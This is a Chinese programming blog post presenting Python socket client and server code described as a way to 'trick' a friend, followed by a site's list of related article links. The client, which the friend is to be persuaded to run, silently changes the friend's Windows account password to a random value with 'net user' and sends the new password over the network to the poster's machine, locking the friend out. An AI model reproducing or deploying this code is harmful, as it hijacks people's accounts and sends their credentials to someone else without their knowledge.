一个可以套路别人的python小程序实例代码


Posted in Python onApril 09, 2019

先简要介绍一下程序。

 程序是使用pycharm工具,python语言所写。程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包。

 咳咳,使用方法来了!

 首先,你需要你和你的朋友在同一个局域网内,然后在你的主机上,运行服务器端 server.py。

 然后,让你的朋友在他的电脑上运行客户端 client.py。

 此时你朋友电脑的windows用户密码,就会变成一个随机密码,且这个生成的随机密码他本人无法得知,而是把这个密码通过socket传给了服务器端的你。

嗯,然后你朋友的电脑密码就只有你自己知道了~

上代码:

# client.py:
import socket
import getpass
import subprocess
import random
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.connect(('172.17.21.56', 8080))
user = getpass.getuser()
psd = ''
for j in range(1, 9):
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd])
phone.send(psd.encode('utf-8'))
back_msg = phone.recv(1024)
phone.close()
# server.py
import socket
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.bind(('172.17.21.56', 8080))
phone.listen(5)
print('starting....')
conn, addr = phone.accept()
print(conn)
print('client addr', addr)
print('ready to read msg')
client_msg = conn.recv(1024)
print('client msg: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
phone.close()

总结

以上所述是小编给大家介绍的个可以套路别人的python小程序,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
python快速查找算法应用实例
Sep 26 Python
python操作mysql中文显示乱码的解决方法
Oct 11 Python
Python中使用pprint函数进行格式化输出的教程
Apr 07 Python
Python中functools模块函数解析
Mar 12 Python
Python新手们容易犯的几个错误总结
Apr 01 Python
python实现发送邮件功能
Jul 22 Python
浅谈Pandas 排序之后索引的问题
Jun 07 Python
Python时间和字符串转换操作实例分析
Mar 16 Python
Python阶乘求和的代码详解
Feb 14 Python
解决json中ensure_ascii=False的问题
Apr 03 Python
宝塔面板成功部署Django项目流程(图文)
Jun 22 Python
python获取字符串中的email
Mar 31 Python
Python装饰器限制函数运行时间超时则退出执行
Apr 09 #Python
详解Python 解压缩文件
Apr 09 #Python
Python使用pandas和xlsxwriter读写xlsx文件的方法示例
Apr 09 #Python
Python中使用logging和traceback模块记录日志和跟踪异常
Apr 09 #Python
由Python编写的MySQL管理工具代码实例
Apr 09 #Python
python实现爬山算法的思路详解
Apr 09 #Python
Python使用Pickle模块进行数据保存和读取的讲解
Apr 09 #Python
You might like
修改php.ini以达到屏蔽错误信息并记录日志
2013/06/16 PHP
thinkphp实现上一篇与下一篇的方法
2014/12/08 PHP
Yii2框架制作RESTful风格的API快速入门教程
2016/11/08 PHP
PHP批量删除jQuery操作
2017/07/23 PHP
JQuery 学习笔记 选择器之二
2009/07/23 Javascript
JavaScript Event事件学习第一章 Event介绍
2010/02/07 Javascript
常见JS效果之图片减速度滚动实现代码
2011/12/08 Javascript
js实现兼容IE和FF的上下层的移动
2015/05/04 Javascript
JavaScript通过Date-Mask将日期转换成字符串的方法
2015/06/04 Javascript
利用jQuery实现CheckBox全选/全不选/反选的简单代码
2016/05/31 Javascript
jQueryUI Datepicker组件设置日期高亮
2016/10/13 Javascript
Angular ng-repeat遍历渲染完页面后执行其他操作详细介绍
2016/12/13 Javascript
webpack处理 css\less\sass 样式的方法
2017/08/21 Javascript
vue中如何创建多个ueditor实例教程
2017/11/14 Javascript
bootstrap3中container与container_fluid外层容器的区别讲解
2017/12/04 Javascript
Vue组件全局注册实现警告框的实例详解
2018/06/11 Javascript
Vue模拟数据,实现路由进入商品详情页面的示例
2018/08/31 Javascript
Vue 中获取当前时间并实时刷新的实现代码
2020/05/12 Javascript
JavaScript ES 模块的使用
2020/11/12 Javascript
[02:58]魔廷新尊——痛苦女王至宝语音台词节选
2020/06/14 DOTA
Python最基本的输入输出详解
2015/04/25 Python
Python、PyCharm安装及使用方法(Mac版)详解
2017/04/28 Python
解决Python plt.savefig 保存图片时一片空白的问题
2019/01/10 Python
Python之NumPy(axis=0 与axis=1)区分详解
2019/05/27 Python
Python 实现OpenCV格式和PIL.Image格式互转
2020/01/09 Python
python shapely.geometry.polygon任意两个四边形的IOU计算实例
2020/04/12 Python
英国性能汽车零件和发动机配件在线:Maxpeedingrods
2019/11/05 全球购物
Stokke美国官方网店:高级儿童家具、推车、汽车座椅和配件
2020/06/06 全球购物
教师自我鉴定范文
2013/11/10 职场文书
单位未婚证明范本
2014/01/18 职场文书
员工年终自我评价
2014/09/14 职场文书
学生保证书格式
2015/02/27 职场文书
2015年法院工作总结范文
2015/04/28 职场文书
狂人日记读书笔记
2015/06/30 职场文书
2016年感恩父亲节活动总结
2016/04/01 职场文书
vue实现拖拽交换位置
2022/04/07 Vue.js